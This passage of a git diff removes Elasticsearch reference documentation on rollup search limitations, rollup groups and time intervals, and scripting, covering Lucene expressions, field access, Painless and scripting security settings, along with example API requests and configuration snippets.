-of jobs to actually search.  Incorrect decisions can lead to inaccurate aggregation results (e.g. over-counting doc counts, or bad metrics).
-Needless to say, this is a technically challenging piece of code.
-
-To help simplify the problem, we have limited search to just one rollup index at a time (which may contain multiple jobs).  In the future we
-may be able to open this up to multiple rollup jobs.
-
-[discrete]
-[[aggregate-stored-only]]
-==== Can only aggregate what's been stored
-
-A perhaps obvious limitation, but rollups can only aggregate on data that has been stored in the rollups.  If you don't configure the
-rollup job to store metrics about the `price` field, you won't be able to use the `price` field in any query or aggregation.
-
-For example, the `temperature` field in the following query has been stored in a rollup job... but not with an `avg` metric.  Which means
-the usage of `avg` here is not allowed:
-
-[source,console]
---------------------------------------------------
-GET sensor_rollup/_rollup_search
-{
-  "size": 0,
-  "aggregations": {
-    "avg_temperature": {
-      "avg": {
-        "field": "temperature"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sensor_prefab_data]
-// TEST[catch:/illegal_argument_exception/]
-
-The response will tell you that the field and aggregation were not possible, because no rollup jobs were found which contained them:
-
-[source,console-result]
-----
-{
-  "error": {
-    "root_cause": [
-      {
-        "type": "illegal_argument_exception",
-        "reason": "There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.",
-        "stack_trace": ...
-      }
-    ],
-    "type": "illegal_argument_exception",
-    "reason": "There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.",
-    "stack_trace": ...
-  },
-  "status": 400
-}
-----
-// TESTRESPONSE[s/"stack_trace": \.\.\./"stack_trace": $body.$_path/]
-
-[discrete]
-==== Interval granularity
-
-Rollups are stored at a certain granularity, as defined by the `date_histogram` group in the configuration.  This means you
-can only search/aggregate the rollup data with an interval that is greater-than or equal to the configured rollup interval.
-
-For example, if data is rolled up at hourly intervals, the <<rollup-search>> API can aggregate on any time interval
-hourly or greater.  Intervals that are less than an hour will throw an exception, since the data simply doesn't
-exist for finer granularities.
-
-[[rollup-search-limitations-intervals]]
-.Requests must be multiples of the config
-**********************************
-Perhaps not immediately apparent, but the interval specified in an aggregation request must be a whole
-multiple of the configured interval.  If the job was configured to rollup on `3d` intervals, you can only
-query and aggregate on multiples of three (`3d`, `6d`, `9d`, etc).
-
-A non-multiple wouldn't work, since the rolled up data wouldn't cleanly "overlap" with the buckets generated
-by the aggregation, leading to incorrect results.
-
-For that reason, an error is thrown if a whole multiple of the configured interval isn't found.
-**********************************
-
-Because the RollupSearch endpoint can "upsample" intervals, there is no need to configure jobs with multiple intervals (hourly, daily, etc).
-It's recommended to just configure a single job with the smallest granularity that is needed, and allow the search endpoint to upsample
-as needed.
-
-That said, if multiple jobs are present in a single rollup index with varying intervals, the search endpoint will identify and use the job(s)
-with the largest interval to satisfy the search request.
-
-[discrete]
-==== Limited querying components
-
-The Rollup functionality allows `query`'s in the search request, but with a limited subset of components.  The queries currently allowed are:
-
-- Term Query
-- Terms Query
-- Range Query
-- MatchAll Query
-- Any compound query (Boolean, Boosting, ConstantScore, etc)
-
-Furthermore, these queries can only use fields that were also saved in the rollup job as a `group`.
-If you wish to filter on a keyword `hostname` field, that field must have been configured in the rollup job under a `terms` grouping.
-
-If you attempt to use an unsupported query, or the query references a field that wasn't configured in the rollup job, an exception will be
-thrown.  We expect the list of support queries to grow over time as more are implemented.
-
-[discrete]
-==== Timezones
-
-Rollup documents are stored in the timezone of the `date_histogram` group configuration in the job.  If no timezone is specified, the default
-is to rollup timestamps in `UTC`.
-
diff --git a/docs/reference/rollup/understanding-groups.asciidoc b/docs/reference/rollup/understanding-groups.asciidoc
deleted file mode 100644
index face43cf966..00000000000
--- a/docs/reference/rollup/understanding-groups.asciidoc
+++ /dev/null
@@ -1,248 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-understanding-groups]]
-=== Understanding groups
-
-experimental[]
-
-To preserve flexibility, Rollup Jobs are defined based on how future queries may need to use the data.  Traditionally, systems force
-the admin to make decisions about what metrics to rollup and on what interval.  E.g. The average of `cpu_time` on an hourly basis.  This
-is limiting; if, in the future, the admin wishes to see the average of `cpu_time` on an hourly basis _and_ partitioned by `host_name`,
-they are out of luck.
-
-Of course, the admin can decide to rollup the `[hour, host]` tuple on an hourly basis, but as the number of grouping keys grows, so do the
-number of tuples the admin needs to configure.  Furthermore, these `[hours, host]` tuples are only useful for hourly rollups... daily, weekly,
-or monthly rollups all require new configurations.
-
-Rather than force the admin to decide ahead of time which individual tuples should be rolled up, Elasticsearch's Rollup jobs are configured
-based on which groups are potentially useful to future queries.  For example, this configuration:
-
-[source,js]
---------------------------------------------------
-"groups" : {
-  "date_histogram": {
-    "field": "timestamp",
-    "fixed_interval": "1h",
-    "delay": "7d"
-  },
-  "terms": {
-    "fields": ["hostname", "datacenter"]
-  },
-  "histogram": {
-    "fields": ["load", "net_in", "net_out"],
-    "interval": 5
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Allows `date_histogram` to be used on the `"timestamp"` field, `terms` aggregations to be used on the `"hostname"` and `"datacenter"`
-fields, and `histograms` to be used on any of `"load"`, `"net_in"`, `"net_out"` fields.
-
-Importantly, these aggs/fields can be used in any combination.  This aggregation:
-
-[source,js]
---------------------------------------------------
-"aggs" : {
-  "hourly": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h"
-    },
-    "aggs": {
-      "host_names": {
-        "terms": {
-          "field": "hostname"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-is just as valid as this aggregation:
-
-[source,js]
---------------------------------------------------
-"aggs" : {
-  "hourly": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h"
-    },
-    "aggs": {
-      "data_center": {
-        "terms": {
-          "field": "datacenter"
-        }
-      },
-      "aggs": {
-        "host_names": {
-          "terms": {
-            "field": "hostname"
-          }
-        },
-        "aggs": {
-          "load_values": {
-            "histogram": {
-              "field": "load",
-              "interval": 5
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-
-You'll notice that the second aggregation is not only substantially larger, it also swapped the position of the terms aggregation on
-`"hostname"`, illustrating how the order of aggregations does not matter to rollups.  Similarly, while the `date_histogram` is required
-for rolling up data, it isn't required while querying (although often used).  For example, this is a valid aggregation for
-Rollup Search to execute:
-
-
-[source,js]
---------------------------------------------------
-"aggs" : {
-  "host_names": {
-    "terms": {
-      "field": "hostname"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Ultimately, when configuring `groups` for a job, think in terms of how you might wish to partition data in a query at a future date...
-then include those in the config.  Because Rollup Search allows any order or combination of the grouped fields, you just need to decide
-if a field is useful for aggregating later, and how you might wish to use it (terms, histogram, etc).
-
-[[rollup-understanding-group-intervals]]
-==== Calendar vs fixed time intervals
-
-Each rollup-job must have a date histogram group with a defined interval. {es}
-understands both
-<<calendar_and_fixed_intervals,calendar and fixed time intervals>>. Fixed time
-intervals are fairly easy to understand; `60s` means sixty seconds. But what
-does `1M` mean? One month of time depends on which month we are talking about,
-some months are longer or shorter than others. This is an example of calendar
-time and the duration of that unit depends on context. Calendar units are also
-affected by leap-seconds, leap-years, etc.
-
-This is important because the buckets generated by rollup are in either calendar
-or fixed intervals and this limits how you can query them later. See
-<<rollup-search-limitations-intervals>>.
-
-We recommend sticking with fixed time intervals, since they are easier to
-understand and are more flexible at query time. It will introduce some drift in
-your data during leap-events and you will have to think about months in a fixed
-quantity (30 days) instead of the actual calendar length. However, it is often
-easier than dealing with calendar units at query time.
-
-Multiples of units are always "fixed". For example, `2h` is always the fixed
-quantity `7200` seconds. Single units can be fixed or calendar depending on the
-unit:
-
-[options="header"]
-|=======
-|Unit |Calendar |Fixed
-|millisecond |NA |`1ms`, `10ms`, etc
-|second |NA |`1s`, `10s`, etc
-|minute |`1m` |`2m`, `10m`, etc
-|hour |`1h` |`2h`, `10h`, etc
-|day |`1d` |`2d`, `10d`, etc
-|week |`1w` |NA
-|month |`1M` |NA
-|quarter |`1q` |NA
-|year |`1y` |NA
-|=======
-
-For some units where there are both fixed and calendar, you may need to express
-the quantity in terms of the next smaller unit. For example, if you want a fixed
-day (not a calendar day), you should specify `24h` instead of `1d`. Similarly,
-if you want fixed hours, specify `60m` instead of `1h`. This is because the
-single quantity entails calendar time, and limits you to querying by calendar
-time in the future.
-
-==== Grouping limitations with heterogeneous indices
-
-There was previously a limitation in how Rollup could handle indices that had heterogeneous mappings (multiple, unrelated/non-overlapping
-mappings).  The recommendation at the time was to configure a separate job per data "type".  For example, you might configure a separate
-job for each Beats module that you had enabled (one for `process`, another for `filesystem`, etc).
-
-This recommendation was driven by internal implementation details that caused document counts to be potentially incorrect if a single "merged"
-job was used.
-
-This limitation has since been alleviated.  As of 6.4.0, it is now considered best practice to combine all rollup configurations
-into a single job.
-
-As an example, if your index has two types of documents:
-
-[source,js]
---------------------------------------------------
-{
-  "timestamp": 1516729294000,
-  "temperature": 200,
-  "voltage": 5.2,
-  "node": "a"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-and
-
-[source,js]
---------------------------------------------------
-{
-  "timestamp": 1516729294000,
-  "price": 123,
-  "title": "Foo"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-the best practice is to combine them into a single rollup job which covers both of these document types, like this:
-
-[source,js]
---------------------------------------------------
-PUT _rollup/job/combined
-{
-  "index_pattern": "data-*",
-  "rollup_index": "data_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node", "title" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "price",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-==== Doc counts and overlapping jobs
-
-There was previously an issue with document counts on "overlapping" job configurations, driven by the same internal implementation detail.
-If there were  two Rollup jobs saving to the same index, where one job is a "subset" of another job, it was possible that document counts
-could be incorrect for certain aggregation arrangements.
-
-This issue has also since been eliminated in 6.4.0.
diff --git a/docs/reference/scripting.asciidoc b/docs/reference/scripting.asciidoc
deleted file mode 100644
index b081bd81c99..00000000000
--- a/docs/reference/scripting.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[[modules-scripting]]
-= Scripting
-
-[partintro]
---
-With scripting, you can evaluate custom expressions in {es}. For example, you
-could use a script to return "script fields" as part of a search request or
-evaluate a custom score for a query.
-
-The default scripting language is <<modules-scripting-painless, `Painless`>>.
-Additional `lang` plugins enable you to run scripts written in other languages.
-Everywhere a script can be used, you can include a `lang` parameter
-to specify the language of the script.
-
-[discrete]
-== General-purpose languages
-
-These languages can be used for any purpose in the scripting APIs,
-and give the most flexibility.
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-|Language
-    |Sandboxed
-    |Required plugin
-
-|<<modules-scripting-painless, `painless`>>
-    |yes
-    |built-in
-
-|=======================================================================
-
-[discrete]
-== Special-purpose languages
-
-These languages are less flexible, but typically have higher performance for
-certain tasks.
-
-[cols="<,<,<,<",options="header",]
-|=======================================================================
-|Language
-    |Sandboxed
-    |Required plugin
-    |Purpose
-
-|<<modules-scripting-expression, `expression`>>
-    |yes
-    |built-in
-    |fast custom ranking and sorting
-
-|<<search-template, `mustache`>>
-    |yes
-    |built-in
-    |templates
-
-|<<modules-scripting-engine, `java`>>
-    |n/a
-    |you write it!
-    |expert API
-
-|=======================================================================
-
-[WARNING]
-.Scripts and security
-=================================================
-
-Languages that are sandboxed are designed with security in mind. However, non-
-sandboxed languages can be a security issue, please read
-<<modules-scripting-security, Scripting and security>> for more details.
-
-=================================================
---
-
-include::scripting/using.asciidoc[]
-
-include::scripting/fields.asciidoc[]
-
-include::scripting/security.asciidoc[]
-
-include::scripting/painless.asciidoc[]
-
-include::scripting/expression.asciidoc[]
-
-include::scripting/engine.asciidoc[]
diff --git a/docs/reference/scripting/engine.asciidoc b/docs/reference/scripting/engine.asciidoc
deleted file mode 100644
index 54d85e6e823..00000000000
--- a/docs/reference/scripting/engine.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[modules-scripting-engine]]
-== Advanced scripts using script engines
-
-A `ScriptEngine` is a backend for implementing a scripting language. It may also
-be used to write scripts that need to use advanced internals of scripting. For example,
-a script that wants to use term frequencies while scoring.
-
-The plugin {plugins}/plugin-authors.html[documentation] has more information on
-how to write a plugin so that Elasticsearch will properly load it. To register
-the `ScriptEngine`, your plugin should implement the `ScriptPlugin` interface
-and override the `getScriptEngine(Settings settings)` method.
-
-The following is an example of a custom `ScriptEngine` which uses the language
-name `expert_scripts`. It implements a single script called `pure_df` which
-may be used as a search script to override each document's score as
-the document frequency of a provided term.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{plugins-examples-dir}/script-expert-scoring/src/main/java/org/elasticsearch/example/expertscript/ExpertScriptPlugin.java[expert_engine]
---------------------------------------------------
-
-You can execute the script by specifying its `lang` as `expert_scripts`, and the name
-of the script as the script source:
-
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "query": {
-    "function_score": {
-      "query": {
-        "match": {
-          "body": "foo"
-        }
-      },
-      "functions": [
-        {
-          "script_score": {
-            "script": {
-                "source": "pure_df",
-                "lang" : "expert_scripts",
-                "params": {
-                    "field": "body",
-                    "term": "foo"
-                }
-            }
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:we don't have an expert script plugin installed to test this]
diff --git a/docs/reference/scripting/expression.asciidoc b/docs/reference/scripting/expression.asciidoc
deleted file mode 100644
index 61301fa873b..00000000000
--- a/docs/reference/scripting/expression.asciidoc
+++ /dev/null
@@ -1,141 +0,0 @@
-[[modules-scripting-expression]]
-== Lucene expressions language
-
-Lucene's expressions compile a `javascript` expression to bytecode. They are
-designed for high-performance custom ranking and sorting functions and are
-enabled for `inline` and `stored` scripting by default.
-
-[discrete]
-=== Performance
-
-Expressions were designed to have competitive performance with custom Lucene code.
-This performance is due to having low per-document overhead as opposed to other
-scripting engines: expressions do more "up-front".
-
-This allows for very fast execution, even faster than if you had written a `native` script.
-
-[discrete]
-=== Syntax
-
-Expressions support a subset of javascript syntax: a single expression.
-
-See the https://lucene.apache.org/core/{lucene_version_path}/expressions/index.html?org/apache/lucene/expressions/js/package-summary.html[expressions module documentation]
-for details on what operators and functions are available.
-
-Variables in `expression` scripts are available to access:
-
-* document fields, e.g. `doc['myfield'].value`
-* variables and methods that the field supports, e.g. `doc['myfield'].empty`
-* Parameters passed into the script, e.g. `mymodifier`
-* The current document's score, `_score` (only available when used in a `script_score`)
-
-You can use Expressions scripts for `script_score`, `script_fields`, sort scripts, and numeric aggregation
-scripts, simply set the `lang` parameter to `expression`.
-
-[discrete]
-=== Numeric field API
-[cols="<,<",options="header",]
-|=======================================================================
-|Expression |Description
-|`doc['field_name'].value` |The value of the field, as a `double`
-
-|`doc['field_name'].empty` |A boolean indicating if the field has no
-values within the doc.
-
-|`doc['field_name'].length` |The number of values in this document.
-
-|`doc['field_name'].min()` |The minimum value of the field in this document.
-
-|`doc['field_name'].max()` |The maximum value of the field in this document.
-
-|`doc['field_name'].median()` |The median value of the field in this document.
-
-|`doc['field_name'].avg()` |The average of the values in this document.
-
-|`doc['field_name'].sum()` |The sum of the values in this document.
-|=======================================================================
-
-When a document is missing the field completely, by default the value will be treated as `0`.
-You can treat it as another value instead, e.g. `doc['myfield'].empty ? 100 : doc['myfield'].value`
-
-When a document has multiple values for the field, by default the minimum value is returned.
-You can choose a different value instead, e.g. `doc['myfield'].sum()`.
-
-When a document is missing the field completely, by default the value will be treated as `0`.
-
-Boolean fields are exposed as numerics, with `true` mapped to `1` and `false` mapped to `0`.
-For example: `doc['on_sale'].value ? doc['price'].value * 0.5 : doc['price'].value`
-
-[discrete]
-=== Date field API
-Date fields are treated as the number of milliseconds since January 1, 1970 and
-support the Numeric Fields API above, plus access to some date-specific fields:
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Expression |Description
-|`doc['field_name'].date.centuryOfEra`|Century (1-2920000)
-
-|`doc['field_name'].date.dayOfMonth`|Day (1-31), e.g. `1` for the first of the month.
-
-|`doc['field_name'].date.dayOfWeek`|Day of the week (1-7), e.g. `1` for Monday.
-
-|`doc['field_name'].date.dayOfYear`|Day of the year, e.g. `1` for January 1.
-
-|`doc['field_name'].date.era`|Era: `0` for BC, `1` for AD.
-
-|`doc['field_name'].date.hourOfDay`|Hour (0-23).
-
-|`doc['field_name'].date.millisOfDay`|Milliseconds within the day (0-86399999).
-
-|`doc['field_name'].date.millisOfSecond`|Milliseconds within the second (0-999).
-
-|`doc['field_name'].date.minuteOfDay`|Minute within the day (0-1439).
-
-|`doc['field_name'].date.minuteOfHour`|Minute within the hour (0-59).
-
-|`doc['field_name'].date.monthOfYear`|Month within the year (1-12), e.g. `1` for January.
-
-|`doc['field_name'].date.secondOfDay`|Second within the day (0-86399).
-
-|`doc['field_name'].date.secondOfMinute`|Second within the minute (0-59).
-
-|`doc['field_name'].date.year`|Year (-292000000 - 292000000).
-
-|`doc['field_name'].date.yearOfCentury`|Year within the century (1-100).
-
-|`doc['field_name'].date.yearOfEra`|Year within the era (1-292000000).
-|=======================================================================
-
-The following example shows the difference in years between the `date` fields date0 and date1:
-
-`doc['date1'].date.year - doc['date0'].date.year`
-
-[discrete]
-[[geo-point-field-api]]
-=== `geo_point` field API
-[cols="<,<",options="header",]
-|=======================================================================
-|Expression |Description
-|`doc['field_name'].empty` |A boolean indicating if the field has no
-values within the doc.
-
-|`doc['field_name'].lat` |The latitude of the geo point.
-
-|`doc['field_name'].lon` |The longitude of the geo point.
-|=======================================================================
-
-The following example computes distance in kilometers from Washington, DC:
-
-`haversin(38.9072, 77.0369, doc['field_name'].lat, doc['field_name'].lon)`
-
-In this example the coordinates could have been passed as parameters to the script,
-e.g. based on geolocation of the user.
-
-[discrete]
-=== Limitations
-
-There are a few limitations relative to other script languages:
-
-* Only numeric, boolean, date, and geo_point fields may be accessed
-* Stored fields are not available
diff --git a/docs/reference/scripting/fields.asciidoc b/docs/reference/scripting/fields.asciidoc
deleted file mode 100644
index e83b54c9328..00000000000
--- a/docs/reference/scripting/fields.asciidoc
+++ /dev/null
@@ -1,261 +0,0 @@
-[[modules-scripting-fields]]
-== Accessing document fields and special variables
-
-Depending on where a script is used, it will have access to certain special
-variables and document fields.
-
-[discrete]
-== Update scripts
-
-A script used in the <<docs-update,update>>,
-<<docs-update-by-query,update-by-query>>, or <<docs-reindex,reindex>>
-API will have access to the `ctx` variable which exposes:
-
-[horizontal]
-`ctx._source`::     Access to the document <<mapping-source-field,`_source` field>>.
-`ctx.op`::          The operation that should be applied to the document: `index` or `delete`.
-`ctx._index` etc::  Access to <<mapping-fields,document metadata fields>>, some of which may be read-only.
-
-[discrete]
-== Search and aggregation scripts
-
-With the exception of <<script-fields,script fields>> which are
-executed once per search hit, scripts used in search and aggregations will be
-executed once for every document which might match a query or an aggregation.
-Depending on how many documents you have, this could mean millions or billions
-of executions: these scripts need to be fast!
-
-Field values can be accessed from a script using
-<<modules-scripting-doc-vals,doc-values>>,
-<<modules-scripting-source, the `_source` field>>, or
-<<modules-scripting-stored, stored fields>>,
-each of which is explained below.
-
-[[scripting-score]]
-[discrete]
-=== Accessing the score of a document within a script
-
-Scripts used in the <<query-dsl-function-score-query,`function_score` query>>,
-in <<sort-search-results,script-based sorting>>, or in
-<<search-aggregations,aggregations>> have access to the `_score` variable which
-represents the current relevance score of a document.
-
-Here's an example of using a script in a
-<<query-dsl-function-score-query,`function_score` query>> to alter the
-relevance `_score` of each document:
-
-[source,console]
--------------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "text": "quick brown fox",
-  "popularity": 1
-}
-
-PUT my-index-000001/_doc/2?refresh
-{
-  "text": "quick fox",
-  "popularity": 5
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "function_score": {
-      "query": {
-        "match": {
-          "text": "quick brown fox"
-        }
-      },
-      "script_score": {
-        "script": {
-          "lang": "expression",
-          "source": "_score * doc['popularity']"
-        }
-      }
-    }
-  }
-}
--------------------------------------
-
-
-[discrete]
-[[modules-scripting-doc-vals]]
-=== Doc values
-
-By far the fastest most efficient way to access a field value from a
-script is to use the `doc['field_name']` syntax, which retrieves the field
-value from <<doc-values,doc values>>. Doc values are a columnar field value
-store, enabled by default on all fields except for <<text,analyzed `text` fields>>.
-
-[source,console]
--------------------------------
-PUT my-index-000001/_doc/1?refresh
-{
-  "cost_price": 100
-}
-
-GET my-index-000001/_search
-{
-  "script_fields": {
-    "sales_price": {
-      "script": {
-        "lang":   "expression",
-        "source": "doc['cost_price'] * markup",
-        "params": {
-          "markup": 0.2
-        }
-      }
-    }
-  }
-}
--------------------------------
-
-Doc-values can only return "simple" field values like numbers, dates, geo-
-points, terms, etc, or arrays of these values if the field is multi-valued.
-It cannot return JSON objects.
-
-[NOTE]
-.Missing fields
-===================================================
-
-The `doc['field']` will throw an error if `field` is missing from the mappings.
-In `painless`, a check can first be done with `doc.containsKey('field')` to guard
-accessing the `doc` map.  Unfortunately, there is no way to check for the
-existence of the field in mappings in an `expression` script.
-
-===================================================
-
-[NOTE]
-.Doc values and `text` fields
-===================================================
-
-The `doc['field']` syntax can also be used for <<text,analyzed `text` fields>>
-if <<fielddata,`fielddata`>> is enabled, but *BEWARE*: enabling fielddata on a
-`text` field requires loading all of the terms into the JVM heap, which can be
-very expensive both in terms of memory and CPU.  It seldom makes sense to
-access `text` fields from scripts.
-
-===================================================
-
-[discrete]
-[[modules-scripting-source]]
-=== The document `_source`
-
-The document <<mapping-source-field,`_source`>> can be accessed using the
-`_source.field_name` syntax. The `_source` is loaded as a map-of-maps, so
-properties within object fields can be accessed as, for example,
-`_source.name.first`.
-
-[IMPORTANT]
-.Prefer doc-values to _source
-=========================================================
-
-Accessing the `_source` field is much slower than using doc-values. The
-_source field is optimised for returning several fields per result, while doc
-values are optimised for accessing the value of a specific field in many
-documents.
-
-It makes sense to use `_source` when generating a
-<<script-fields,script field>> for the top ten hits from a
-search result but, for other search and aggregation use cases, always prefer
-using doc values.
-=========================================================
-
-
-For instance:
-
-[source,console]
--------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "first_name": {
-        "type": "text"
-      },
-      "last_name": {
-        "type": "text"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1?refresh
-{
-  "first_name": "Barry",
-  "last_name": "White"
-}
-
-GET my-index-000001/_search
-{
-  "script_fields": {
-    "full_name": {
-      "script": {
-        "lang": "painless",
-        "source": "params._source.first_name + ' ' + params._source.last_name"
-      }
-    }
-  }
-}
--------------------------------
-
-[discrete]
-[[modules-scripting-stored]]
-=== Stored fields
-
-_Stored fields_ -- fields explicitly marked as
-<<mapping-store,`"store": true`>> in the mapping -- can be accessed using the
-`_fields['field_name'].value` or `_fields['field_name']` syntax:
-
-[source,console]
--------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "full_name": {
-        "type": "text",
-        "store": true
-      },
-      "title": {
-        "type": "text",
-        "store": true
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1?refresh
-{
-  "full_name": "Alice Ball",
-  "title": "Professor"
-}
-
-GET my-index-000001/_search
-{
-  "script_fields": {
-    "name_with_title": {
-      "script": {
-        "lang": "painless",
-        "source": "params._fields['title'].value + ' ' + params._fields['full_name'].value"
-      }
-    }
-  }
-}
--------------------------------
-
-[TIP]
-.Stored vs `_source`
-=======================================================
-
-The `_source` field is just a special stored field, so the performance is
-similar to that of other stored fields.  The `_source` provides access to the
-original document body that was indexed (including the ability to distinguish
-`null` values from empty fields, single-value arrays from plain scalars, etc).
-
-The only time it really makes sense to use stored fields instead of the
-`_source` field is when the `_source` is very large and it is less costly to
-access a few small stored fields instead of the entire `_source`.
-
-=======================================================
diff --git a/docs/reference/scripting/painless.asciidoc b/docs/reference/scripting/painless.asciidoc
deleted file mode 100644
index 82d886589d2..00000000000
--- a/docs/reference/scripting/painless.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[modules-scripting-painless]]
-== Painless scripting language
-
-_Painless_ is a simple, secure scripting language designed specifically for use
-with Elasticsearch. It is the default scripting language for Elasticsearch and
-can safely be used for inline and stored scripts. To get started with
-Painless, see the {painless}/painless-guide.html[Painless Guide]. For a
-detailed description of the Painless syntax and language features, see the
-{painless}/painless-lang-spec.html[Painless Language Specification].
-
-[[painless-features]]
-You can use Painless anywhere scripts can be used in Elasticsearch. Painless
-provides:
-
-* Fast performance: Painless scripts https://benchmarks.elastic.co/index.html#search_qps_scripts[
-run several times faster] than the alternatives.
-
-* Safety: Fine-grained allowlists with method call/field granularity. See the
-{painless}/painless-api-reference.html[Painless API Reference] for a
-complete list of available classes and methods.
-
-* Optional typing: Variables and parameters can use explicit types or the
-dynamic `def` type.
-
-* Syntax: Extends a subset of Java's syntax to provide additional scripting
-language features.
-
-* Optimizations: Designed specifically for Elasticsearch scripting.
-
-Ready to start scripting with Painless? See the
-{painless}/painless-guide.html[Painless Guide] for the
-{painless}/index.html[Painless Scripting Language].
\ No newline at end of file
diff --git a/docs/reference/scripting/security.asciidoc b/docs/reference/scripting/security.asciidoc
deleted file mode 100644
index 505c4db3f3f..00000000000
--- a/docs/reference/scripting/security.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
-[[modules-scripting-security]]
-== Scripting and security
-
-While Elasticsearch contributors make every effort to prevent scripts from
-running amok, security is something best done in
-{wikipedia}/Defense_in_depth_(computing)[layers] because
-all software has bugs and it is important to minimize the risk of failure in
-any security layer. Find below rules of thumb for how to keep Elasticsearch
-from being a vulnerability.
-
-[discrete]
-=== Do not run as root
-First and foremost, never run Elasticsearch as the `root` user as this would
-allow any successful effort to circumvent the other security layers to do
-*anything* on your server. Elasticsearch will refuse to start if it detects
-that it is running as `root` but this is so important that it is worth double
-and triple checking.
-
-[discrete]
-=== Do not expose Elasticsearch directly to users
-Do not expose Elasticsearch directly to users, instead have an application
-make requests on behalf of users. If this is not possible, have an application
-to sanitize requests from users. If *that* is not possible then have some
-mechanism to track which users did what. Understand that it is quite possible
-to write a <<search, `_search`>> that overwhelms Elasticsearch and brings down
-the cluster. All such searches should be considered bugs and the Elasticsearch
-contributors make an effort to prevent this but they are still possible.
-
-[discrete]
-=== Do not expose Elasticsearch directly to the Internet
-Do not expose Elasticsearch to the Internet, instead have an application
-make requests on behalf of the Internet. Do not entertain the thought of having
-an application "sanitize" requests to Elasticsearch. Understand that it is
-possible for a sufficiently determined malicious user to write searches that
-overwhelm the Elasticsearch cluster and bring it down. For example:
-
-Good:
-
-* Users type text into a search box and the text is sent directly to a
-<<query-dsl-match-query>>, <<query-dsl-match-query-phrase>>,
-<<query-dsl-simple-query-string-query>>, or any of the <<search-suggesters>>.
-* Running a script with any of the above queries that was written as part of
-the application development process.
-* Running a script with `params` provided by users.
-* User actions makes documents with a fixed structure.
-
-Bad:
-
-* Users can write arbitrary scripts, queries, `_search` requests.
-* User actions make documents with structure defined by users.
-
-[discrete]
-[[modules-scripting-other-layers]]
-=== Other security layers
-In addition to user privileges and script sandboxing Elasticsearch uses the
-https://www.oracle.com/java/technologies/javase/seccodeguide.html[Java Security Manager]
-and native security tools as additional layers of security.
-
-As part of its startup sequence Elasticsearch enables the Java Security Manager
-which limits the actions that can be taken by portions of the code. Painless
-uses this to limit the actions that generated Painless scripts can take,
-preventing them from being able to do things like write files and listen to
-sockets.
-
-Elasticsearch uses
-{wikipedia}/Seccomp[seccomp] in Linux,
-https://www.chromium.org/developers/design-documents/sandbox/osx-sandboxing-design[Seatbelt]
-in macOS, and
-https://msdn.microsoft.com/en-us/library/windows/desktop/ms684147[ActiveProcessLimit]
-on Windows to prevent Elasticsearch from forking or executing other processes.
-
-Below this we describe the security settings for scripts and how you can
-change from the defaults described above. You should be very, very careful
-when allowing more than the defaults. Any extra permissions weakens the total
-security of the Elasticsearch deployment.
-
-[[allowed-script-types-setting]]
-[discrete]
-=== Allowed script types setting
-
-Elasticsearch supports two script types: `inline` and `stored` (<<modules-scripting-using>>).
-By default, {es} is configured to run both types of scripts. 
-To limit what type of scripts are run, set `script.allowed_types` to `inline` or `stored`. 
-To prevent any scripts from running, set `script.allowed_types` to `none`.
-
-IMPORTANT: If you use {kib}, set `script.allowed_types` to `both` or `inline`. 
-Some {kib} features rely on inline scripts and do not function as expected 
-if {es} does not allow inline scripts.
-
-For example, to run `inline` scripts but not `stored` scripts, specify:
-
-[source,yaml]
-----
-script.allowed_types: inline <1>
-----
-<1> This will allow only inline scripts to be executed but not stored scripts
-(or any other types).
-
-
-[[allowed-script-contexts-setting]]
-[discrete]
-=== Allowed script contexts setting
-
-By default all script contexts are allowed to be executed.  This can be modified using the
-setting `script.allowed_contexts`.  Only the contexts specified as part of the setting will
-be allowed to be executed.  To specify no contexts are allowed, set `script.allowed_contexts`
-to be `none`.
-
-[source,yaml]
-----
-script.allowed_contexts: score, update <1>
-----
-<1> This will allow only scoring and update scripts to be executed but not
-aggs or plugin scripts (or any other contexts).
diff --git a/docs/reference/scripting/using.asciidoc b/docs/reference/scripting/using.asciidoc
deleted file mode 100644
index f81b7b9a642..00000000000
--- a/docs/reference/scripting/using.asciidoc
+++ /dev/null
@@ -1,432 +0,0 @@
-[[modules-scripting-using]]
-== How to use scripts
-
-Wherever scripting is supported in the Elasticsearch API, the syntax follows
-the same pattern:
-
-[source,js]
--------------------------------------
-  "script": {
-    "lang":   "...",  <1>
-    "source" | "id": "...", <2>
-    "params": { ... } <3>
-  }
--------------------------------------
